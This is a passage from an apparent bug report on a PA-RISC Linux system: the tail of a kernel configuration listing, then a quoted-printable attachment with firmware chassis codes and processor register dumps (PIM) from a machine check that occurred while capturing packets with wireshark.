# CONFIG_ROMFS_FS is not set
# CONFIG_PSTORE is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set
# CONFIG_F2FS_FS is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=m
CONFIG_NFS_V2=m
CONFIG_NFS_V3=m
# CONFIG_NFS_V3_ACL is not set
CONFIG_NFS_V4=m
# CONFIG_NFS_SWAP is not set
# CONFIG_NFS_V4_1 is not set
# CONFIG_NFS_FSCACHE is not set
# CONFIG_NFS_USE_LEGACY_DNS is not set
CONFIG_NFS_USE_KERNEL_DNS=y
CONFIG_NFSD=m
CONFIG_NFSD_V3=y
# CONFIG_NFSD_V3_ACL is not set
CONFIG_NFSD_V4=y
# CONFIG_NFSD_FAULT_INJECTION is not set
CONFIG_LOCKD=m
CONFIG_LOCKD_V4=y
CONFIG_NFS_COMMON=y
CONFIG_SUNRPC=m
CONFIG_SUNRPC_GSS=m
# CONFIG_SUNRPC_DEBUG is not set
# CONFIG_CEPH_FS is not set
CONFIG_CIFS=m
# CONFIG_CIFS_STATS is not set
# CONFIG_CIFS_WEAK_PW_HASH is not set
# CONFIG_CIFS_UPCALL is not set
# CONFIG_CIFS_XATTR is not set
CONFIG_CIFS_DEBUG=y
# CONFIG_CIFS_DEBUG2 is not set
# CONFIG_CIFS_DFS_UPCALL is not set
# CONFIG_CIFS_SMB2 is not set
# CONFIG_CIFS_FSCACHE is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set
CONFIG_NLS=m
CONFIG_NLS_DEFAULT="iso8859-15"
CONFIG_NLS_CODEPAGE_437=m
CONFIG_NLS_CODEPAGE_737=m
CONFIG_NLS_CODEPAGE_775=m
CONFIG_NLS_CODEPAGE_850=m
CONFIG_NLS_CODEPAGE_852=m
CONFIG_NLS_CODEPAGE_855=m
CONFIG_NLS_CODEPAGE_857=m
CONFIG_NLS_CODEPAGE_860=m
CONFIG_NLS_CODEPAGE_861=m
CONFIG_NLS_CODEPAGE_862=m
CONFIG_NLS_CODEPAGE_863=m
CONFIG_NLS_CODEPAGE_864=m
CONFIG_NLS_CODEPAGE_865=m
CONFIG_NLS_CODEPAGE_866=m
CONFIG_NLS_CODEPAGE_869=m
CONFIG_NLS_CODEPAGE_936=m
CONFIG_NLS_CODEPAGE_950=m
CONFIG_NLS_CODEPAGE_932=m
CONFIG_NLS_CODEPAGE_949=m
CONFIG_NLS_CODEPAGE_874=m
CONFIG_NLS_ISO8859_8=m
CONFIG_NLS_CODEPAGE_1250=m
CONFIG_NLS_CODEPAGE_1251=m
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
CONFIG_NLS_ISO8859_2=m
CONFIG_NLS_ISO8859_3=m
CONFIG_NLS_ISO8859_4=m
CONFIG_NLS_ISO8859_5=m
CONFIG_NLS_ISO8859_6=m
CONFIG_NLS_ISO8859_7=m
CONFIG_NLS_ISO8859_9=m
CONFIG_NLS_ISO8859_13=m
CONFIG_NLS_ISO8859_14=m
CONFIG_NLS_ISO8859_15=m
CONFIG_NLS_KOI8_R=m
CONFIG_NLS_KOI8_U=m
# CONFIG_NLS_MAC_ROMAN is not set
# CONFIG_NLS_MAC_CELTIC is not set
# CONFIG_NLS_MAC_CENTEURO is not set
# CONFIG_NLS_MAC_CROATIAN is not set
# CONFIG_NLS_MAC_CYRILLIC is not set
# CONFIG_NLS_MAC_GAELIC is not set
# CONFIG_NLS_MAC_GREEK is not set
# CONFIG_NLS_MAC_ICELAND is not set
# CONFIG_NLS_MAC_INUIT is not set
# CONFIG_NLS_MAC_ROMANIAN is not set
# CONFIG_NLS_MAC_TURKISH is not set
CONFIG_NLS_UTF8=m

#
# Kernel hacking
#

#
# printk and dmesg options
#
CONFIG_PRINTK_TIME=y
CONFIG_DEFAULT_MESSAGE_LOGLEVEL=4
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_DYNAMIC_DEBUG is not set

#
# Compile-time checks and compiler options
#
# CONFIG_DEBUG_INFO is not set
# CONFIG_ENABLE_WARN_DEPRECATED is not set
# CONFIG_ENABLE_MUST_CHECK is not set
CONFIG_FRAME_WARN=1024
# CONFIG_STRIP_ASM_SYMS is not set
# CONFIG_READABLE_ASM is not set
# CONFIG_UNUSED_SYMBOLS is not set
CONFIG_DEBUG_FS=y
# CONFIG_HEADERS_CHECK is not set
# CONFIG_DEBUG_SECTION_MISMATCH is not set
CONFIG_ARCH_WANT_FRAME_POINTERS=y
CONFIG_FRAME_POINTER=y
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
CONFIG_MAGIC_SYSRQ=y
CONFIG_DEBUG_KERNEL=y

#
# Memory Debugging
#
# CONFIG_DEBUG_PAGEALLOC is not set
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_SLUB_DEBUG_ON is not set
# CONFIG_SLUB_STATS is not set
# CONFIG_DEBUG_VM is not set
CONFIG_DEBUG_MEMORY_INIT=y
# CONFIG_DEBUG_PER_CPU_MAPS is not set
CONFIG_HAVE_DEBUG_STACKOVERFLOW=y
CONFIG_DEBUG_STACKOVERFLOW=y
# CONFIG_DEBUG_SHIRQ is not set

#
# Debug Lockups and Hangs
#
CONFIG_LOCKUP_DETECTOR=y
# CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0
CONFIG_DETECT_HUNG_TASK=y
CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120
# CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set
CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0
# CONFIG_PANIC_ON_OOPS is not set
CONFIG_PANIC_ON_OOPS_VALUE=0
CONFIG_SCHED_DEBUG=y
# CONFIG_SCHEDSTATS is not set
# CONFIG_TIMER_STATS is not set

#
# Lock Debugging (spinlocks, mutexes, etc...)
#
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_RT_MUTEX_TESTER is not set
# CONFIG_DEBUG_SPINLOCK is not set
# CONFIG_DEBUG_MUTEXES is not set
# CONFIG_DEBUG_ATOMIC_SLEEP is not set
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_WRITECOUNT is not set
# CONFIG_DEBUG_LIST is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set

#
# RCU Debugging
#
# CONFIG_SPARSE_RCU_POINTER is not set
# CONFIG_RCU_TORTURE_TEST is not set
CONFIG_RCU_CPU_STALL_TIMEOUT=60
# CONFIG_RCU_CPU_STALL_INFO is not set
# CONFIG_RCU_TRACE is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_NOTIFIER_ERROR_INJECTION is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_LATENCYTOP is not set
CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS=y
CONFIG_DEBUG_STRICT_USER_COPY_CHECKS=y
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y
CONFIG_HAVE_FUNCTION_TRACE_MCOUNT_TEST=y

#
# Runtime Testing
#
# CONFIG_LKDTM is not set
# CONFIG_TEST_LIST_SORT is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_RBTREE_TEST is not set
# CONFIG_INTERVAL_TREE_TEST is not set
# CONFIG_ATOMIC64_SELFTEST is not set
# CONFIG_ASYNC_RAID6_TEST is not set
# CONFIG_TEST_STRING_HELPERS is not set
# CONFIG_TEST_KSTRTOX is not set
# CONFIG_SAMPLES is not set
CONFIG_DEBUG_RODATA=y

#
# Security options
#
CONFIG_KEYS=y
# CONFIG_ENCRYPTED_KEYS is not set
# CONFIG_KEYS_DEBUG_PROC_KEYS is not set
# CONFIG_SECURITY_DMESG_RESTRICT is not set
# CONFIG_SECURITY is not set
# CONFIG_SECURITYFS is not set
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_DEFAULT_SECURITY=""
CONFIG_XOR_BLOCKS=y
CONFIG_ASYNC_CORE=y
CONFIG_ASYNC_MEMCPY=y
CONFIG_ASYNC_XOR=y
CONFIG_ASYNC_PQ=y
CONFIG_ASYNC_RAID6_RECOV=y
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=m
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=m
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_PCOMP2=y
CONFIG_CRYPTO_MANAGER=m
CONFIG_CRYPTO_MANAGER2=y
# CONFIG_CRYPTO_USER is not set
CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y
# CONFIG_CRYPTO_GF128MUL is not set
# CONFIG_CRYPTO_NULL is not set
# CONFIG_CRYPTO_PCRYPT is not set
CONFIG_CRYPTO_WORKQUEUE=y
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_AUTHENC=m
# CONFIG_CRYPTO_TEST is not set

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_SEQIV is not set

#
# Block modes
#
CONFIG_CRYPTO_CBC=m
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
CONFIG_CRYPTO_ECB=m
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
CONFIG_CRYPTO_CMAC=m
CONFIG_CRYPTO_HMAC=m
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=y
# CONFIG_CRYPTO_CRC32 is not set
# CONFIG_CRYPTO_GHASH is not set
CONFIG_CRYPTO_MD4=m
CONFIG_CRYPTO_MD5=m
# CONFIG_CRYPTO_MICHAEL_MIC is not set
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
CONFIG_CRYPTO_SHA1=m
CONFIG_CRYPTO_SHA256=m
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_TGR192 is not set
# CONFIG_CRYPTO_WP512 is not set

#
# Ciphers
#
CONFIG_CRYPTO_AES=y
# CONFIG_CRYPTO_ANUBIS is not set
CONFIG_CRYPTO_ARC4=m
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_CAMELLIA is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
CONFIG_CRYPTO_DES=m
# CONFIG_CRYPTO_FCRYPT is not set
# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_SEED is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_TWOFISH is not set

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=m
# CONFIG_CRYPTO_ZLIB is not set
# CONFIG_CRYPTO_LZO is not set
# CONFIG_CRYPTO_LZ4 is not set
# CONFIG_CRYPTO_LZ4HC is not set

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
# CONFIG_CRYPTO_HW is not set
# CONFIG_ASYMMETRIC_KEY_TYPE is not set
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_RAID6_PQ=y
CONFIG_BITREVERSE=y
CONFIG_GENERIC_STRNCPY_FROM_USER=y
CONFIG_GENERIC_NET_UTILS=y
CONFIG_GENERIC_PCI_IOMAP=y
CONFIG_GENERIC_IO=y
CONFIG_CRC_CCITT=m
CONFIG_CRC16=y
CONFIG_CRC_T10DIF=y
CONFIG_CRC_ITU_T=m
CONFIG_CRC32=y
# CONFIG_CRC32_SELFTEST is not set
CONFIG_CRC32_SLICEBY8=y
# CONFIG_CRC32_SLICEBY4 is not set
# CONFIG_CRC32_SARWATE is not set
# CONFIG_CRC32_BIT is not set
# CONFIG_CRC7 is not set
# CONFIG_LIBCRC32C is not set
# CONFIG_CRC8 is not set
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=m
CONFIG_LZO_DECOMPRESS=y
CONFIG_LZ4_DECOMPRESS=y
CONFIG_XZ_DEC=y
CONFIG_XZ_DEC_X86=y
CONFIG_XZ_DEC_POWERPC=y
CONFIG_XZ_DEC_IA64=y
CONFIG_XZ_DEC_ARM=y
CONFIG_XZ_DEC_ARMTHUMB=y
CONFIG_XZ_DEC_SPARC=y
CONFIG_XZ_DEC_BCJ=y
# CONFIG_XZ_DEC_TEST is not set
CONFIG_DECOMPRESS_GZIP=y
CONFIG_DECOMPRESS_BZIP2=y
CONFIG_DECOMPRESS_LZMA=y
CONFIG_DECOMPRESS_XZ=y
CONFIG_DECOMPRESS_LZO=y
CONFIG_DECOMPRESS_LZ4=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_CPU_RMAP=y
CONFIG_DQL=y
CONFIG_NLATTR=y
CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE=y
# CONFIG_AVERAGE is not set
# CONFIG_CORDIC is not set
# CONFIG_DDR is not set
CONFIG_OID_REGISTRY=m
CONFIG_FONT_SUPPORT=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y

--MP_/8C6jCf.IJYbL1W6B6/h8FAh
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename=hpmc-2013-09-12.txt

Last message to syslog:

Sep 12 15:50:58 karsten kernel: [697269.944000] device eth0 entered promisc=
uous mode

What I was doing:

running wireshark and starting a packet dump (dumpcap) on eth0 (60:03.0
Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller =
(rev
02))

The PDC printed this on the serial console when it happened:

<Cpu0> e800009800e00000  000000004018eb20  CC_ERR_CHECK_HPMC
<Cpu1> e800009801e00000  0000000040b5f67b  CC_ERR_CHECK_HPMC
<Cpu0> 37000f7300e00000  8400000000800000  CC_ERR_CPU_CHECK_SUMMARY
<Cpu1> 37000f7301e00000  8400000000800000  CC_ERR_CPU_CHECK_SUMMARY
<Cpu0> f600105e00e00000  fffffff0f0c00000  CC_MC_HPMC_MONARCH_SELECTED
<Cpu1> 5600100b01e00000  0000000000000194  CC_MC_OS_HPMC_LEN_ERR
<Cpu0> 140003b200e00000  000000000000000b  CC_ERR_HPMC_STATE_ENTRY
<Cpu1> 5600106401e00000  fffffff0f0436fc0  CC_MC_BR_TO_OS_HPMC_FAILED
<Cpu1> 160012cf01e00000  010001001e00000d  CC_MPS_CPU_WAITING
<Cpu0> 5600100b00e00000  0000000000000194  CC_MC_OS_HPMC_LEN_ERR
<Cpu0> 5600106400e00000  fffffff0f0435110  CC_MC_BR_TO_OS_HPMC_FAILED
<Cpu0> e800009800e00000  000000004018eb20  CC_ERR_CHECK_HPMC
<Cpu0> 37000f7300e00000  8400000000800000  CC_ERR_CPU_CHECK_SUMMARY
<Cpu0> 4000109f00e00000  0000000000000000  CC_MC_HPMC_INITIATED
<Cpu0> 4000101900e00000  0000000000000000  CC_MC_MULTIPLE_HPMCS
<Cpu0> 030010d500e00000  0000000000000000  CC_CPU_STOP
<Cpu1> 160012d001e00000  0100010000000001  CC_MPS_CPU_WAIT_OVER
<Cpu1> 2800035d01e00000  0000000040b5f67b  CC_ERR_CHECK_TOC
<Cpu1> 37000f7301e00000  8400000000800000  CC_ERR_CPU_CHECK_SUMMARY
<Cpu1> 4300107401e00000  0000000000000000  CC_MC_OS_TOC_MISSING
<Cpu1> 170003db01e00000  ffffffffffffffff  CC_ERR_TOC_NO_OS_TOC
<Cpu1> 160012cf01e00000  01000100b400000d  CC_MPS_CPU_WAITING
<Cpu1> 160012d001e00000  0100010000000001  CC_MPS_CPU_WAIT_OVER
<Cpu0> 160012be00e00000  0000000000000213  CC_BOOT_INIT_CHASSIS_CODES
<Cpu0> 0b00104b00e00000  0007dd090c0d362f  CC_BOOT_TIMESTAMP
<Cpu0> 2100127000e00000  fffffff0f0430000  CC_NVM_RESTARTED
<Cpu0> 1600127300e00000  00000009000176c0  CC_NVM_PARMS
<Cpu0> 1600104700e00000  00000000000000fe  CC_BOOT_CPUS_PRESENTL
<Cpu0> 160012bb00e00000  0000000000000000  CC_BOOT_CPU_CACHE_FUSE_INIT


Service Menu: Enter command > pim hpmc

WARNING:  Processor parameter is incorrect or out of range.

Service Menu: Enter command > pim


PROCESSOR PIM INFORMATION

Original Product Number:  AB629A
Current Product Number:


-----------------  Processor 0 HPMC Information - PDC Version:  2.13  ------

Timestamp =3D   Thu Sep  12 13:50:52 GMT 2013    (20:13:09:12:13:50:52)=EF=
=BF=BD=D5=9A=EF=BF=BD

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0xe800009800e00000 0x000000004018eb20
       0x37000f7300e00000 0x8400000000800000

General Registers 0 - 31
00-03  0000000000000000  000000004085c600  000000004018eb0c  00000000406b02=
e0
04-07  0000000040833600  00000000406b0370  0000000000000001  000000004085c6=
00
08-11  000000004085b600  0000000040847600  0000000040847600  00000000000000=
01
12-15  0000000000000013  0000000000000000  00000000000130dc  00000000000000=
00
16-19  00000000f0d00ae0  00000000000130dc  0000000000000000  00000000000000=
01
20-23  0000000000000000  00000000000003ff  00000000b31f0000  0000000002dc78=
00
24-27  0000000000000000  0000000000000000  00000000419f0790  00000000408336=
00
28-31  00000000406b0000  00000000406b0400  00000000406b03a0  00000000080000=
0e


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
08-11  0000000000016be2  0000000000000000  00000000000000c0  00000000000000=
00
12-15  0000000000000000  0000000000000000  0000000000103000  fff00000000000=
00
16-19  00023ad5fb1dd6ec  0000000000000000  000000004018eb20  00000000539c00=
20
20-23  0000000000000000  0000000000000000  000000ff0806ff0f  80800000000000=
00
24-27  0000000000757000  0000000028a6a000  ffffffffefdfffff  0000000040000c=
00
28-31  ffffffffffffffff  ffffffffffffffff  00000000406b0000  ffffffffffffff=
ff


Space Registers 0 - 7
00-03  0000000005af8800  0000000005af8800  0000000000000000  0000000005af88=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00


IIA Space (back entry)       =3D 0x0000000000000000
IIA Offset (back entry)      =3D 0x000000004018eb24
Check Type                   =3D 0x00000000
Cpu State                    =3D 0x9e000000
Cache Check                  =3D 0x00000000
TLB Check                    =3D 0x00000000
Bus Check                    =3D 0x00000000
Assists Check                =3D 0x05af8800
Assist State                 =3D 0x00000000
Path Info                    =3D 0x00000000
System Responder Address     =3D 0x0000000000000000
System Requestor Address     =3D 0x0000000000000000



Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  4044800000000000  4044c00000000000  3f99999a00000000  40580000000000=
00
08-11  0000000000000000  3ff0000000000000  0000000000000000  00000000000000=
00
12-15  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
16-19  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
20-23  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
24-27  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
28-31  ffffffff00000000  0000000000000000  fffe7b0015ea0000  00000000000000=
00


PIM Revision                 =3D 0x0000000000000001
CPU ID                       =3D 0x0000000000000014
CPU Revision                 =3D 0x0000000000000032
Cpu Serial Number            =3D 0x45248d49643f0308
Check Summary                =3D 0x8400000000800000
SAL Timestamp                =3D 0x000000005231c6bc
System Firmware Rev.         =3D 0x0000008d000000d5
PDC Relocation Address       =3D 0xfffffff0f0c00000
Available Memory             =3D 0x000000007fe00000
CPU Diagnose Register 2      =3D 0x3212022000002008
MIB_STAT                     =3D 0x0000000000000000
MIB_LOG1                     =3D 0x0000000000007f00
MIB_LOG2                     =3D 0x0000800000000000
MIB_ECC_DATA                 =3D 0x0000100000100000
ICache Info                  =3D 0x0000000000000000
DCache Info                  =3D 0x0000000000000000
Sharedcache Info1            =3D 0x0800000000600000
Sharedcache Info2            =3D 0x0000000000000000
MIB_RSLOG1                   =3D 0x0010000000000104
MIB_RSLOG2                   =3D 0x0000000000000000
MIB_RQLOG                    =3D 0x0045200000082600
MIB_REQLOGa                  =3D 0x8004520000008200
MIB_REQLOGb                  =3D 0xc10008a400000100
Reserved                     =3D 0x0000000000000000
Cache Repair Detail          =3D 0x0000000000000000

PIM Detail Text:



-----------------  Processor 0 LPMC Information ------------------

General Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
08-11  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
12-15  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
16-19  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
20-23  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
24-27  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
28-31  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00



Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
08-11  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
12-15  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
16-19  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
20-23  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
24-27  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
28-31  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00

Space Registers 0 - 7
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00


IIA Space (back entry)       =3D 0x0000000000000000
IIA Offset (back entry)      =3D 0x0000000000000000
Check Type                   =3D 0x00000000
Cpu State                    =3D 0x00000000
Cache Check                  =3D 0x00000000
TLB Check                    =3D 0x00000000
Bus Check                    =3D 0x00000000
Assists Check                =3D 0x00000000
Assist State                 =3D 0x00000000
Path Info                    =3D 0x00000000
System Responder Address     =3D 0x0000000000000000
System Requestor Address     =3D 0x0000000000000000



Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
08-11  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
12-15  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
16-19  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
20-23  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
24-27  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
28-31  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00


PIM Revision                 =3D 0x0000000000000000
CPU ID                       =3D 0x0000000000000000
CPU Revision                 =3D 0x0000000000000000
Cpu Serial Number            =3D 0x0000000000000000
Check Summary                =3D 0x0000000000000000
SAL Timestamp                =3D 0x0000000000000000
System Firmware Rev.         =3D 0x0000000000000000
PDC Relocation Address       =3D 0x0000000000000000
Available Memory             =3D 0x0000000000000000
CPU Diagnose Register 2      =3D 0x0000000000000000
MIB_STAT                     =3D 0x0000000000000000
MIB_LOG1                     =3D 0x0000000000000000
MIB_LOG2                     =3D 0x0000000000000000
MIB_ECC_DATA                 =3D 0x0000000000000000
ICache Info                  =3D 0x0000000000000000
DCache Info                  =3D 0x0000000000000000
Sharedcache Info1            =3D 0x0000000000000000
Sharedcache Info2            =3D 0x0000000000000000
MIB_RSLOG1                   =3D 0x0000000000000000
MIB_RSLOG2                   =3D 0x0000000000000000
MIB_RQLOG                    =3D 0x0000000000000000
MIB_REQLOGa                  =3D 0x0000000000000000
MIB_REQLOGb                  =3D 0x0000000000000000
Reserved                     =3D 0x0000000000000000
Cache Repair Detail          =3D 0x0000000000000000

PIM Detail Text:




-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  000000004084b490  000000004018e934  00000000406a22=
e0
04-07  0000000040822c90  00000000406a2370  0000000000000001  000000004084b4=
90
08-11  000000004084a490  0000000040836c90  0000000040836c90  00000000000000=
01
12-15  0000000000000013  0000000000000000  00000000000130dc  00000000000000=
00
16-19  00000000f0d00ae0  00000000000130dc  0000000000000000  00000000000000=
01
20-23  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
24-27  0000000000000000  0000000000000000  00000000419db788  0000000040822c=
90
28-31  0000000000000008  00000000406a2400  00000000406a23a0  00000000080000=
0e



Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
08-11  0000000000000000  0000000000000000  00000000000000c0  00000000000000=
00
12-15  0000000000000000  0000000000000000  0000000000103000  fff00000000000=
00
16-19  000000772906266a  0000000000000000  000000004018e944  0000000003c008=
bc
20-23  0000000000000000  0000000000000000  000000ff0804ff0f  80000000000000=
00
24-27  0000000000748000  0000000000748000  ffffffffefffffff  0000000040000c=
00
28-31  ffffffffffffffff  ffffffffffffffff  00000000406a2000  ffffffffffffff=
ff

Space Registers 0 - 7
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00

IIA Space (back entry)       =3D 0x0000000000000000
IIA Offset (back entry)      =3D 0x000000004018e948
CPU State                    =3D 0x9e000000

-----------------  Processor 1 HPMC Information - PDC Version:  2.13  ------

Timestamp =3D   Thu Sep  12 13:50:52 GMT 2013    (20:13:09:12:13:50:52)=EF=
=BF=BD=D5=9A=EF=BF=BD

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0xe800009800e00000 0x0000000040b5f67b
       0x37000f7300e00000 0x8400000000800000
       0x5600100b00e00000 0x0000000000000194
       0x5600106400e00000 0xfffffff0f0436fc0

General Registers 0 - 31
00-03  0000000000000000  0000000040b911ec  0000000040b5f727  00000000413a2f=
88
04-07  0000000040b911ec  00000000421bd000  0000000000000000  00000000000000=
01
08-11  000000004139f266  00000000413a2f08  ffffffffffff8100  00000000000000=
01
12-15  000000004139c064  000000000007a120  000000004139f9a0  00000000413a00=
5c
16-19  0000000000000000  0000000040b911ec  000000004139f9a0  0000000040b911=
ec
20-23  00000000413b31e8  0000000000000004  0000000040b5f400  00000000413a2f=
08
24-27  00000000000000fa  0000000000000001  00000000fb2b0bcc  000000004139f1=
a0
28-31  0000000000000001  0000000001c46f00  00000000fb2b0c80  00000000419117=
1b


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
08-11  0000000000016be2  0000000000000000  00000000000000c0  00000000000000=
1c
12-15  0000000000000000  0000000000000000  0000000000103000  fff00000000000=
00
16-19  00023ad5fb1eacf4  0000000005af8800  0000000040b5f67b  000000000ca010=
94
20-23  00000000012400c0  40000000085bd000  000000ff0006f90f  80000000000000=
00
24-27  0000000000757000  0000000028a6a000  fffdffffffffffff  00000000400031=
00
28-31  9fdddf5f47ef5ffe  9fdddf5f47ef5ffe  00000000656cc000  ffffffffffffff=
ff


Space Registers 0 - 7
00-03  0000000005aac800  0000000005aac800  0000000000000000  0000000005af88=
00
04-07  0000000005af8800  0000000005af8800  0000000005af8800  0000000005af88=
00


IIA Space (back entry)       =3D 0x0000000005af8800
IIA Offset (back entry)      =3D 0x0000000040b5f67f
Check Type                   =3D 0x00000000
Cpu State                    =3D 0x9e000000
Cache Check                  =3D 0x00000000
TLB Check                    =3D 0x00000000
Bus Check                    =3D 0x00000000
Assists Check                =3D 0x05af8800
Assist State                 =3D 0x00000000
Path Info                    =3D 0x00000000
System Responder Address     =3D 0x0000000000000000
System Requestor Address     =3D 0x0000000000000000



Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
04-07  4044800000000000  4044c00000000000  3f99999a00000000  40580000000000=
00
08-11  0000000000000000  3ff0000000000000  0000000000000000  00000000000000=
00
12-15  00000010aae3bcfd  0000000000000000  0000000000000000  00000000000000=
00
16-19  0000000000000000  0000000000000000  0000000000000000  00000000000000=
00
20-23  0000000000000000  0000000000000000  0000000333333334  00000004000000=
00
24-27  0000000000000000  42b8000000017a00  ffffffff00000000  00000000000000=
00
28-31  ffffffff00000000  0000000000000000  fffe7b0015ea0000  00000000000000=
00


PIM Revision                 =3D 0x0000000000000001
CPU ID                       =3D 0x0000000000000014
CPU Revision                 =3D 0x0000000000000032
Cpu Serial Number            =3D 0x45248d49643f0308
Check Summary                =3D 0x8400000000800000
SAL Timestamp                =3D 0x000000005231c6bc
System Firmware Rev.         =3D 0x0000008d000000d5
PDC Relocation Address       =3D 0xfffffff0f0c00000
Available Memory             =3D 0x000000007fe00000
CPU Diagnose Register 2      =3D 0x3252020008082008
